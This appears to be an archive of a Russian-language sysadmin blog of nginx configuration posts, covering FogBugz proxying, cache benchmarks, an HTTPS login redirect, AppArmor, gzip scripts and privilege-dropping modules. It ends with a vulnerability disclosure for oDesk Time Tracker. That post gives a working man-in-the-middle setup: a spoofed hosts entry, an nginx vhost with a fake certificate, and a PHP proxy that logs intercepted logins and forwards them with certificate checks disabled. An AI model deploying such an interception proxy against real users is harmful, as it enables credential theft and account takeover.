Ars Longa, Vita Brevis » nginx

FogBugz 7 и nginx

Vladimir — Sun, 25 Apr 2010 17:52:23 +0000

На днях переводил один сервер с Apache 2 на nginx, хочу поделиться рабочей конфигурацией nginx для FogBugz 7.

Предположим, что у нас имеется сайт sitename.com, на котором установлен FogBugz (в sitename.com/fogbugz).

Конфигурация Apache будет выглядеть следующим образом:

<IfModule !proxy_module>
LoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so
IfModule>

<IfModule !proxy_http_module>
LoadModule proxy_http_module /usr/lib/apache2/modules/mod_proxy_http.so
IfModule>

#FogBugz uses the SERVER_HOST and SERVER_PORT headers to construct absolute redirect URLs for license install and page not found
ProxyPreserveHost On

# Always redirect to add trailing slash
RedirectMatch /fogbugz$ http://sitename.com/fogbugz/

#ProxyPass proxies the request, ProxyPassReverse adjusts the URLs of redirect responses
ProxyPass /fogbugz/ http://localhost:7066/fogbugz/
ProxyPassReverse /fogbugz/ http://localhost:7066/fogbugz/

#The protocol in the following line should read 'http', even if you are proxying to FogBugz from https; please do not change it unless you know what you are doing.
ProxyPassReverse /fogbugz/ http://sitename.com/fogbugz/
<Proxy http://localhost:7066/fogbugz* >
Order deny,allow
Allow from all
Proxy>

#Default proxy timeout of 21 minutes, 1 minute longer than the longest FogBugz page timeout
ProxyTimeout 1260

Для nginx конфигурация будет проще:

server {
# ...

location ~ /fogbugz$ {
rewrite .* http://sitename.com/fogbugz/ redirect;
}

location ^~ /fogbugz/ {
proxy_set_header Host $host;
proxy_redirect off;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_read_timeout 1260;
proxy_pass http://127.0.0.1:7066;
}
}

Надеюсь, кому-нибудь поможет.

При использовании материалов блога наличие активной не закрытой от индексирования ссылки на источник обязательно.

Связанные записи

WP Super Cache vs MaxSite Cache: часть 2

Vladimir — Sun, 13 Dec 2009 08:23:41 +0000

Тест страничных кэшей на грамотно настроенном сервере

Вторая часть статьи WP Super Cache vs MaxSite Cache.

В предыдущей части я сравнивал поведение MaxSite Cache и WP Super Cache на тестовом VDS (512 MiB RAM, 10 GB HD, Intel Xeon X3320 (1 ядро), 2.5 GHz), на котором ни операционная система, ни программное обеспечение не были специально настроены — бралась конфигурация «из коробки» и тестировалась. Одним словом, «VDS абсолютного чайника».

В этой части изменилась только конфигурация программного обеспечения: сервер настраивался на максимальную производительность.

В частности:

отказ от Apache в пользу nginx и от mod_php5 в пользу php-fcgi (количество FastCGI-процессов выбиралось таким образом, чтобы избежать использования файла подкачки);
смена ядра с linux-image-server на linux-image-virtual;
настройка MySQL: отказ от InnoDB (экономит примерно 100 МБ памяти), увеличение буфера ключей и т.п.;
установка и настройка xCache (я исходил из того, что далеко не все чувствуют себя комфортно при сборке программ из исходников, поэтому брал только готовое ПО);
настройка iptables для фильтрации пакетов.

Методика тестирования осталась прежней: карта сайта преобразовывалась в список адресов, на этот список натравливался siege, а я присматривал за сервером и вносил коррективы в конфигурацию ПО (да, с первого раза трудно всё настроить идеально).

Чтобы убедиться, что новая конфигурация не хуже старой, я полностью отключил кэширование и имитировал 50 одновременных посетителей в течение 15 минут. На момент выполнения теста у сервера было свободно 348.5 МиБ памяти.

	Голый WordPress
Количество транзакций	4,825
Доступность сервера	99.98%
Объём данных, МБ	28.32
Среднее время ответа, с	9.23
Частота транзакций в секунду	5.36
Пропускная способность, МБ/с	0.03
Коэффициент параллельности	49.50
Максимальная длина транзакции, с	30.76
Минимальная длина транзакции, с	1.15
Максимальная загрузка процессора (system/user)	25.72%/68.39%
Load Average	40.81
Примерное потребление памяти, МиБ	414

Данные загрузки/потребления памяти очень приблизительны. Хотя вряд ли пользователи станут ждать по 9 секунд загрузку страницы, радует, что сервер не ответил только на один запрос и не ушел в нокдаун. Простая экстраполяция показывает, что сервер выдержит примерно 463,000 обращения к PHP-страницам в сутки.

Мы убедились, что новая конфигурация вполне жизнеспособна (старой до неё, как до Китая в неудобной позе), переходим к тестированию плагинов.
Тестирование проходило в 30 и 75 потоков. Я не разделял фазы построения и использования кэша.

	MaxSite Cache (30 потоков)	MaxSite Cache (75 потоков)	WP Super Cache (30 потоков, HALF ON)	WP Super Cache (30 потоков)	WP Super Cache (75 потоков)
Количество транзакций	176,684	182,604	5,069	198,160	189,686
Объём данных, МБ	1,062.24	1,099.60	29.99	1,202.95	1,147.33
Среднее время ответа, с	0.13	0.34	5.30	0.10	0.29
Частота транзакций в секунду	196.36	203.00	5.64	220.20	210.95
Пропускная способность, МБ/с	1.18	1.32	0.03	1.34	1.28
Коэффициент параллельности	25.42	69.32	29.85	23.05	62.16
Максимальная длина транзакции, с	21.08	26.12	15.06	22.78	25.03
Минимальная длина транзакции, с	0.00	0.00	0.48	0.00	0.00
Load Average	1.8	2.2	30.1	1.3	1.65

Краткие выводы: на грамотно настроенном сервере лидирует WP Super Cache — и по скорости, и по создаваемой нагрузке. Это связано с тем, что задача по отдаче закэшированного контента переложена на web-сервер. Так как web-сервер справляется со статикой быстрее, чем с динамикой, в результате получаем рост производительности и снижение нагрузки.

Если по той или иной причине WP Super Cache не может работать в режиме Full On, то MaxSite Cache будет всё же предпочтительнее — ввиду своей простоты он обладает исключительным быстродействием.

Связанные записи

Безопасный логин в WordPress с использованием nginx

Vladimir — Sat, 05 Dec 2009 03:11:38 +0000

Лишние плагины не нужны

WordPress, начиная с версии 2.6, имеет улучшенную поддержку работы с HTTPS.

У администратора есть две возможности:

Использование HTTPS для работы в панели управления (wp-admin).
Использование HTTPS только для входа в систему.

Первое достигается путём добавления строки

define('FORCE_SSL_ADMIN', true);

в wp-config.php, второе — путём добавления строки

define('FORCE_SSL_LOGIN', true);

Добавляем одну из этих двух строк в wp-config.php и проблема решена? Но в действительности всё не так, как на самом деле

У специалистов по информационной безопасности существует негласное правило, по которому HTML-форма, передающая данные на HTTPS-страницу, должна также находиться на HTTPS-странице. Связано это с тем, что соединение, по которому передаются данные, может прослушиваться. В случае обычного HTTP-соединения злоумышленник может модифицировать передаваемую от сервера форму, заменив https на http, что приведёт к тому, что форма будет отправлена по обычному (не зашифрованному) соединению, и злоумышленник сможет перехватить всю ценную информацию. Усугубляется это всё тем, что пользователь не может сказать, куда передаётся форма, не открыв исходный код страницы.

Для предотвращения подобного безобразия сама форма должна находиться на HTTPS-страницы: злоумышленник не сможет изменить данные, передаваемые по зашифрованному каналу.

Казалось бы, при чём тут ~~Лужков~~ WordPress? Во-первых, WordPress даже при включённом FORCE_SSL_LOGIN не перенаправляет пользователя с http://.../wp-login.php на https://.../wp-login.php. А во-вторых, WordPress — это не только платформа для блоггинга, это еще и CMS, на основе которой делаются всякие магазины и даже целые панели управления сайтами (да, я принимал участие в создании одной из таких панелей). Иными словами, платформы, где успешный перехват логина и пароля может привести к очень печальным последствиям.

Какие есть варианты? Самый простой — написать простой плагин, который сделает перенаправление с HTTP на HTTPS для wp-login.php. Но лишний PHP-код скорости работы не прибавляет, а потому не наш метод. Тем более, когда всё можно сделать на уровне сервера.

Рассмотрим на примере nginx.

В nginx есть две возможности настроить HTTPS-сервер. Первая (она же наиболее часто используемая) — это задание отдельного виртуального хоста для HTTP- и HTTPS-версий сайта. Что-то вида

server {
listen 80;
server_name example.com;
#...
}

server {
listen 443;
server_name example.com;

ssl on;
#...
}

В этом случае всё просто: нужно добавить следующие строки в виртуальный хост, отвечающий за HTTP:

location = /wp-login.php {
rewrite .* https://example.com/wp-login.php break;
}

Вторая возможность — задать HTTP- и HTTPS-версию сайта в одном виртуальном хосте:

server {
listen 80;
listen 443 ssl;
server_name example.com;

# Ни в коем случае нельзя задавать директиву ssl on
#...
}

В этом случае добавляемый код будет сложнее:

location = /wp-login.php {
if ($ssl_protocol = "") {
rewrite .* https://example.com/wp-login.php break;
}

fastcgi_pass ...;
fastcgi_param SCRIPT_FILENAME /path/to/blog/wp-login.php;
include /etc/nginx/fastcgi_params;
fastcgi_param SCRIPT_NAME /wp-login.php;
}

Очевидно, что в директивах fastcgi_xxx нужно указать свои пути.

После этого nginx будет автоматически перенаправлять посетителя с http://.../wp-login.php на https://.../wp-login.php. Таким образом и форма, и адрес отправления формы будут находиться на защищённых страницах.

Связанные записи

Профиль AppArmor для nginx

Vladimir — Sat, 21 Nov 2009 06:46:39 +0000

Экспериментальный профиль AppArmor для nginx в Ubuntu Linux

Данный профиль AppArmor предназначается тем, кто знает, что такое AppArmor и сознательно решил использовать профиль для nginx. Профиль не является законченным решением, работающим из коробки, а должен рассматриваться только как шаблон.

При построении профиля молчаливо предполагалось:

рабочие процессы nginx выполняются от имени www-data:www-data;
файлы конфигурации nginx находятся в /etc/nginx (/etc/nginx/sites-enabled, /etc/nginx/sites-available, /etc/nginx/conf.d/*.conf, /etc/nginx/ssl);
пользовательские сайты расположены в /home//htdocs;
логи записываются в /var/log/nginx/*.log

Получился такой профиль AppArmor:

#include

/usr/sbin/nginx {
#include
#include
#include

deny /root/** rw,

# Лучше бы это убрать
capability chown,

capability setgid,
capability setuid,

# Поддержка OpenSSL
/usr/lib/ssl/openssl.cnf r,
/etc/ssl/openssl.cnf r,
owner /etc/nginx/ssl/* r,

# Пользовательские файлы конфигурации nginx
owner /etc/nginx/conf.d/ r,
owner /etc/nginx/conf.d/*.conf r,

# Здесь должны быть перечислены все используемые файлы из /etc/nginx
owner /etc/nginx/fastcgi_params r,
owner /etc/nginx/mime.types r,
owner /etc/nginx/nginx.conf r,

# Конфиги виртуальных хостов
/etc/nginx/sites-available/* r,
owner /etc/nginx/sites-enabled/ r,

# Сайты пользователей
/home/*/htdocs/** r,

# Поддержка замены nginx на лету
/usr/sbin/nginx rix,

# Логи nginx
/var/log/nginx/*.log w,

# PID
owner /var/run/nginx.pid rw,
}

CAP_CHOWN (capability chown) — довольно опасная вещь: если злоумышленник может использовать chown(), то права доступа у файлам особой роли не играют. nginx пользуется CAP_CHOWN при получении сигнала SIGUSR1: файлы журналов переводятся под управление пользователя, от имени которого выполняются рабочие процессы nginx.

Чтобы избавиться от CAP_CHOWN, без танцев с бубном не обойтись. Для этого, как минимум, файлы журналов должны иметь права u+w,g+w и находиться под владением www-data:root (полагая, что рабочие процессы выполняются от имени www-data). Кроме того, все необходимые лог-файлы должны существовать до запуска nginx (в противном случае nginx их создаст с правами 0644, root:root, не сможет открыть созданные файлы — об этом далее — и не сможет выполнить chown() при получении SIGUSR1).

Очень важно, чтобы логи имели права на групповую запись: дело в том, что при правах 0644, www-data:root, мастер-процесс nginx, выполняющийся от имени root, не имеет прав на запись в лог (такой вот бесправный root). Неудобств можно избежать, если добавить в профиль capability dac_override, но у неё те же недостатки, что и у CAP_CHOWN.

Если есть желание обойтись без CAP_DAC_OVERRIDE или CAP_CHOWN, то нужно правильно настроить logrotate: в частности. в файле конфигурации logrotate должна быть строка

create 660 www-data root

PS — при возникновении проблем с профилем aa-complain и aa-genprof — лучшие друзья

Связанные записи

Перенаправление RSS в WordPress на FeedBurner для nginx

Vladimir — Fri, 13 Nov 2009 21:27:07 +0000

Выполнение перенаправления без плагинов

Хотя для перенаправления фидов WordPress на Feedburner существует несколько плагинов, справиться с этой задачей можно и силами web-сервера. Рассмотрим на примере nginx.

С использованием постоянных ссылок:

server {
#...

if ($http_user_agent !~ FeedBurner) {
rewrite ^/feed(/.*)?$ http://feeds2.feedburner.com/FEEDBURNER-BLOG-ID?;
rewrite ^/comment/feed(/.*)?$ http://feeds2.feedburner.com/FEEDBURNER-COMMENTS-ID?;
}

#...
}

Без использования постоянных ссылок сложнее, так как nginx не поддерживает сложные выражения в операторе if:

server {
#...

set $withcomments 0;
set $feedburner 0;
set $feed 0;

if ($http_user_agent ~ FeedBurner) {
set $feedburner 1;
}

if ($arg_withcomments = "1") {
set $withcomments 1;
}

if ($arg_feed) {
set $feed 1;
}

if ($feedburner) {
set $feed 0;
}

if ($feed = "0") {
set $withcomments 0;
}

if ($withcomments) {
rewrite .* http://feeds2.feedburner.com/FEEDBURNER-COMMENT-ID?;
}

if ($feed) {
rewrite .* http://feeds2.feedburner.com/FEEDBURNER-BLOG-ID?;
}

#...
}

Минус один плагин — теперь всё перенаправление будет осуществляться на уровне web-сервера, что менее ресурсоёмко и чуть быстрее. Спички

Связанные записи

nginx и gzip_static: еще один способ снизить нагрузку на сервер

Vladimir — Sun, 08 Nov 2009 10:09:11 +0000

Отдача предварительно сжатых файлов для снижения нагрузки на процессор

Чем меньше размер страниц сайта, тем меньше расход трафика, загрузка канал и выше скорость загрузки страниц. Один из самых распространённых способов уменьшения страниц — сжатие перед отправкой пользователю.

В Apache для этих целей используется mod_deflate, в nginx — ngx_http_gzip_module.html. В других web-серверах используются похожие решения.

Что mod_deflate, что ngx_http_gzip_module используют сжатие «на лету» — файл сжимается перед отдачей пользователю. Но сжатие — операция, нагружающая процессор, и чем выше степень сжатия, тем больше нагрузка. Это не было бы проблемой, если бы один и тот же файл не приходилось сжимать каждый раз заново.

Для nginx есть простой вариант, который позволяет избежать повторного сжатия — использование модуля ngx_http_gzip_static_module. Но этот модуль по умолчанию не собирается — поэтому нужно разрешить его сборку путём передачи параметра --with-http_gzip_static_module скрипту configure.

Включается модуль путём добавления директивы gzip_static on; в блок http или виртуальный хост, после чего nginx будет отдавать вместо обычного файла предварительно сжатый файл с таким же именем и дополнительным расширением .gz. То есть если есть файл index.html.gz, то nginx будет отдавать его при запросе к файлу index.html.

Дело осталось за малым — сжать все статические файлы. И задать им ту же дату модификации, что у исходного файла.

Вручную это делается так:

gzip -9 -c index.html > index.html.gz
touch -r index.html index.html.gz

Но сжимать все файлы вручную — это скучно и муторно. Можно воспользоваться двумя скриптами:

#! /bin/sh

EXTENSIONS="txt|html?|css|js|xml|ico|patch|diff|c"

if [ -z "$1" ]; then
DIR="`pwd`"
else
DIR="$1"
fi

find $DIR -type f -regextype posix-egrep -regex ".*\.($EXTENSIONS)\$" -exec `dirname $0`/do-compress.sh '{}' \;

#! /bin/sh

MINSIZE=100
GZIP="gzip -9 -c"
AWK=awk
TOUCH=touch

if [ -n "$1" ]; then
GZ_NAME="$1.gz"
DATA_PLAIN=`stat --format "%s %Y" "$1"`
PLAIN_SIZE=`echo "$DATA_PLAIN" | $AWK '{ print $1}'`
PLAIN_MTIME=`echo "$DATA_PLAIN" | $AWK '{ print $2}'`

if [ $PLAIN_SIZE -lt $MINSIZE ]; then
echo "Ignoring file $1: its size ($PLAIN_SIZE) is less than $MINSIZE bytes"
exit 0;
fi

if [ -f "$GZ_NAME" ]; then
GZIPPED_MTIME=`stat --format "%Y" "$GZ_NAME"`
if [ $GZIPPED_MTIME -eq $PLAIN_MTIME ]; then
echo "Ignoring file $1: there is a compressed file $GZ_NAME with the same modification time"
exit 0
fi
fi

$GZIP -9 -c "$1" > "$GZ_NAME"
$TOUCH -r "$1" "$GZ_NAME"
echo "Compressed $1 to $GZ_NAME"
fi

Файлы нужно поместить в один и тот же каталог, сделать исполняемыми (chmod 0755 compress.sh do-compress.sh) и немного настроить.

В файле compress.sh задаётся список расширений (регулярным выражением) файлов, которые нужно сжимать:

EXTENSIONS="txt|html?|css|js|xml|ico|patch|diff|c"

Для тех, кто с регулярными выражениями не знаком, есть простое правило: новые расширения разделяются вертикальной чертой. Иными словами, если нужно сжимать файлы с расширением .svg, то строка выше примет следующий вид:

EXTENSIONS="txt|html?|css|js|xml|ico|patch|diff|c|svg"

В файле do-compress.sh единственным параметром, который, вероятно, придется изменить, является MINSIZE. Он задаёт минимальный размер (в байтах) файла, который стоит сжимать. По умолчанию это 100 байт, по идее, должно быть нормально.

Запускается скрипт так (предполагая, что он находится в текущем каталоге):

./compress.sh /path/to/blog

Параметр, передаваемый скрипту — это путь к каталогу, где находится блог (сайт): скрипт рекурсивно обработает все подкаталоги.

Скрипт нужно запускать каждый раз (да, есть такой недостаток), когда изменился/добавился какой-либо подходящий для сжатия файл. Например, если вы изменили файл со стилями темы WordPress. Скрипт не будет пытаться сжимать файл, если существует сжатый файл с одинаковым временем последнего изменения — при последующих запусках будут сжиматься только новые и изменённые файлы. Что значительно снижает ресурсоёмкость процесса.

После всех манипуляций nginx будет отдавать заранее сжатые файлы, что позволит снизить нагрузку на процессор.

Разочарую всех тех, кто думает, что снижение нагрузки будет кардинальным: вряд ли. Но всё зависит от железа. Чем меньше мощность сервера, тем больше снижение нагрузки.

Связанные записи

Модуль поддержки tcpwrappers для nginx

Vladimir — Sat, 10 Oct 2009 01:15:47 +0000

Использование libwrap для контроля доступа

TCP Wrappers — система контроля доступа, используемая для ограничения доступа к серверам на UNIX-подобных операционных системах (Linux, BSD). Контроль доступа может осуществляться, например, по имени хоста (полному или частичному), адресу, подсети. Подробности приведены здесь.

TCP Wrappers очень удобно использовать с программами для защиты от червей (BlackHosts, DenyHosts, Fail2ban), в частности, для защиты от HTTP-сканирования.

Огромным достоинством TCP Wrappers является возможность динамической конфигурации списков контроля доступа (что избавляет от необходимости перезапускать защищаемый сервис) и простота файлов конфигурации (это субъективно).

К сожалению, nginx не поддерживает TCP Wrappers из коробки. К счастью, это можно исправить.

Заказчик, для которого писался данный модуль, не возражал против выкладывания исходного кода модуля в общий доступ, чем я и воспользовался.

Прежде, чем перейти непосредственно к модулю, отмечу, что у TCP Wrappers есть несколько особенностей дизайна, о которых нужно знать:

самое большое моё разочарование заключается в том, что libwrap (библиотека, реализующая функциональность TCP Wrappers) не является библиотекой с потоковой безопасностью (thread safety). Иными словами, если два потока одновременно обратятся к libwrap, результат может получиться весьма странным. Это связано с тем, что libwrap использует нереентера́бельные (какое слово! но по-английски звучит лучше) функции, например, strtok(), gethostbyname(), gethostbyaddr() и т.п. Если nginx собран с поддержкой многопоточности, то на нагруженных серверах использование libwrap может привести к потерям производительности (из-за того, что доступ к функциям libwrap должен быть последовательным — приходится использовать мьютекс). Если же nginx собирался без поддержки многопоточности (как, например, в Linux), то такая проблема не возникает;
динамическая конфигурация списков контроля доступа имеет свою цену: при каждом запросе будут читаться и разбираться файлы /etc/hosts.allow и /etc/hosts.deny, что на высоконагруженных серверах может быть неприемлемо.

Сборка модуля

Переходим непосредственно к модулю. Так как nginx не поддерживает динамические модули, nginx придётся пересобирать из исходного кода. Предполагая, что исходный код nginx находится в ~/nginx, исходный код модуля ngx_tcpwrappers — в ~/nginx/ngx_tcpwrappers, выглядеть это всё будет примерно так:

cd ~/nginx
./configure \
--conf-path=/etc/nginx/nginx.conf \
--error-log-path=/var/log/nginx/error.log \
# здесь идут остальные параметры, передаваемые configure \
--add-module=./ngx_tcpwrappers
make
sudo make install

Конфигурация модуля

Директивы конфигурации:

tcpwrappers
tcpwrappers_daemon
tcpwrappers_thorough

Синтаксис: tcpwrappers [on|off]
По умолчанию: tcpwrappers off
Контекст: http, server, location, limit_except
Описание: данная директива разрешает либо запрещает использование TCP Wrappers для контроля доступа к ресурсу. tcpwrappers off полностью отключает использование TCP Wrappers, что позволяет избежать потерь производительности.

Синтаксис: tcpwrappers_daemon name
По умолчанию: tcpwrappers_daemon nginx
Контекст: http, server, location, limit_except
Описание: данная директива позволяет задать имя демона, которое используется в файлах /etc/hosts.{allow,deny} для идентификации процесса.

Синтаксис: tcpwrappers_thorough [on|off]
По умолчанию: tcpwrappers_thorough off
Контекст: http, server, location, limit_except
Описание: данная директива управляет тщательностью проверки клиента.

При tcpwrappers_thorough off используется функция hosts_ctl(3); контроль осуществляется исключительно по IP-адресу клиента (в том плане, что libwrap передаётся только IP-адрес).

При tcpwrappers_thorough on используется функция hosts_access(3); контроль может осуществляться по адресу и имени клиента и сервера. Данная проверка является более тщательной, но имеет свою цену: необходимость выполнения DNS-запросов для получения имени клиента и сервера.

Исходный код

Исходный код модуля ngx_tcpwrappers

Связанные записи

ngx_drop_privs: принцип минимальных привилегий в nginx

Vladimir — Wed, 23 Sep 2009 02:35:11 +0000

Забираем у nginx лишние привилегии

nginx — замечательный web-сервер, но, как и практически любой программный продукт, не свободен от ошибок, временами весьма критических.

Архитектура nginx такова, что обычно имеется один привилегированный процесс (запускаемый от всемогущего root) и один или более рабочих процессов (обычно работающих от имени непривилегированного пользователя). Тем не менее, я видел конфигурации, в которых все процессы nginx работают под привилегированным пользователем. Один из примеров — многопользовательский сервер, Document Root сайтов на котором имеет права вида 0700 (запускать несколько nginx и настраивать проксирование — тоже не лучший выход).

Кроме того, за последние неполные пять лет в nginx найдено 112 ошибок (segmentation fault), некоторые из которых теоретически могут дать возможность выполнения произвольного кода в системе (wget http://sysoev.ru/nginx/changes.html -q -O - | grep segmentation | wc -l).

Я не знаю, все ли ошибки затрагивали только рабочие процессы, либо были ошибки в главном процессе — рисковать не хочется. Так и родилась идея написать модуль для nginx — ngx_drop_privs.

Данный модуль будет работать, скорее всего, только под Linux, при этом для работы требуется наличие библиотеки libcap и ядра, собранного с поддержкой capabilities (я давно не видел ядра без такой поддержки).

Идея заключается в том, что процессу, который порождает потомков, меняет их UID/GID и периодически меняет владельца log-файлов, привилегий root слишком много. Вполне достаточно CAP_SETUID, CAP_SETGID и CAP_CHOWN (если нужна ротация логов).

CAP_CHOWN — весьма опасная возможность, и если есть возможность её не давать, лучше её не давать

Модуль при инициализации проверяет, запущен ли главный процесс от имени root. Если да, то capabilities сбрасываются на указанные в директиве dropprivs_set_caps.

Директива dropprivs_set_caps является глобальной (как, например, daemon, user и pid) и имеет формат

dropprivs_set_caps "строка";

где строка — привилегии в формате, который понимает функция cap_from_text(). Никто не говорил, что будет легко.

На своей тестовой машине я использую такое значение:

dropprivs_set_caps "cap_setuid,cap_setgid=ep";

Это равносильно сбросу всех привилегий и установке CAP_SETUID и CAP_SETGID в действующем (effective) и разрешённом (permitted) наборе привилегий.

Те, кому это всё интересно, могут скачать исходный код модуля ngx_drop_privs. Код пока ещё сыроват (да, написан за полтора часа этой ночью) и будет совершенствоваться. Любые предложения/патчи are always welcome. ~~Планируется поддержка chroot, что позволит меньше беспокоиться о CAP_CHOWN и CAP_SETUID.~~

UPDATE 16.02.2010: добавлена экспериментальная поддержка chroot. Реализуется глобальной директивой

dropprivs_chroot "каталог";

Выполняется chroot() до сброса привилегий, поэтому явным образом указывать CAP_SYS_CHROOT в списке разрешённых привилегий не нужно (и вообще не рекомендуется). Перед вызовом chroot() выполняется chdir() в указанный каталог, поэтому если привилегии настроены нормально, покинуть chroot демон не сможет. Тем не менее, это накладывает свои ограничения:

пути в виртуальных хостах должны быть относительны нового корня;
в новом корне должен существовать как минимум /dev/zero;
PID-файл создаётся относительно нового корня;
что происходит с лог-файлами, пока сказать не могу, но есть подозрение что ротация логов без танцев с бубном работать не будет.

Сборка модуля:

cd /path/to/nginx/source
./configure \ # Здесь идут обычные опции configure
--add-module=/path/to/ngx_drop_privs
make

Связанные записи

oDesk Time Tracker Vulnerabilities

Vladimir — Mon, 15 Jun 2009 17:42:33 +0000

When SSL is not enough

oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).
To imitate the DNS spoofing we will need to edit /etc/hosts file:

127.0.0.1 team.odesk.com

And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:

server {
listen 80;
server_name team.odesk.com;

access_log /var/log/nginx/team.odesk.com-access.log;
error_log /var/log/nginx/team.odesk.com-error.log;

root /var/www/team.odesk.com;

try_files junk @proxy;

location @proxy {
fastcgi_pass 127.0.0.1:8000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
include /etc/nginx/fastcgi_params;
}
}

server {
listen 443;
keepalive_timeout 70;

server_name default;
access_log /var/log/nginx/secure-team.odesk.com-access.log;
error_log /var/log/nginx/secure-team.odesk.com-error.log;

ssl on;
ssl_certificate /etc/nginx/certs/fake-cert.crt;
ssl_certificate_key /etc/nginx/certs/fake-cert.key;
ssl_session_timeout 5m;

ssl_protocols SSLv3 TLSv1;
ssl_ciphers HIGH:MEDIUM;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;

root /var/www/team.odesk.com;

try_files junk @proxy;

location @proxy {
fastcgi_pass 127.0.0.1:8000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
include /etc/nginx/fastcgi_params;
}
}

Nice PHP proxy that logs all communication between the client and server:

if (false == empty($_POST)) {
$ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);

$data = $_POST;
if (false == empty($_FILES)) {
foreach ($_FILES as $key => $item) {
$data[$key] = '@' . $item['tmp_name'];
}
}

$f = fopen(dirname(__FILE__) . '/log.txt', "a");
fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
fwrite($f, "<<<\n");
fwrite($f, print_r($data, 1));
fwrite($f, ">>>\n");

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$s = curl_exec($ch);
curl_close($ch);
fwrite($f, $s);
fwrite($f, "---\n\n\n");
fclose($f);
print $s;
}
else {
print "status=S_OK\n";
print "Fraude perit virtus";
}
?>

Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:

SERVER: https://209.128.65.132/client/receiver
IN:
Array
(
[version] => Linux/1.3.4
[status] => C_NORMAL
[company] => ics2:ics2
[user] => vkolesnikov
[password] => password_goes_here
[uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
[computer] => SJINKS
[os] => Linux Ubuntu 9.04 (2.6.28-13-server)
[snapint] => 600
[trigger] => login
[keyev] => 1
[mousev] => 1
[events_per_minute] => 1245070126,1,1
[activewintitle] => client : mc
[screensaveron] => false
[memo] =>.
[task_id] =>.
[task_description] =>.
[screenshot_width] => 1680
[screenshot_height] => 1050
[timestamp] => 1245070127
[screen] => @/tmp/phpqzwmeh
)

OUT:
status=S_OK
servertime=1245070127
hiresdesktop=enable
webcam=user
period=600
use_https=yes
company_name=ICS
first_name=Vladimir
last_name=Kolesnikov
tz=Europe/Athens
company=ics2:ics2
login=vkolesnikov
companies=Sphere314,extrememember,ics2:ics2
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
task_integration_policy=1
cache_size=120

And here comes the second vulnerability.
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.

The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.

Связанные записи

nginx 0.8.0

Vladimir — Wed, 03 Jun 2009 06:20:33 +0000

Версии для Ubuntu Jaunty Jackalope и Debian Lenny

Вчера вышла новая версия web-сервера nginx — 0.8.0, а версия 0.7.59 объявлена стабильной.

Скачать nginx 0.8.0 для Ubuntu 9.04 Jaunty Jackalope и Debian Lenny:

для архитектуры i686: nginx_0.8.0-1~sj1_i386.deb
для архитектуры AMD-64: nginx_0.8.0-1~sj1_amd64.deb